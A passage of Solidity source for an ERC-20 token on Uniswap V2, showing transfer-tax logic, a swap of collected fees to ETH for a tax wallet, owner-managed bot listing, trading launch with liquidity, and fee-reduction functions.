if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
sellCount++;
lastSellBlock = block.number;
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function isBot(address a) public view returns (bool){
return bots[a];
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function reduceFee(uint256 _newFee) external{
require(_msgSender()==_taxWallet);
require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
_finalBuyTax=_newFee;
_finalSellTax=_newFee;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
} |
Subsets and Splits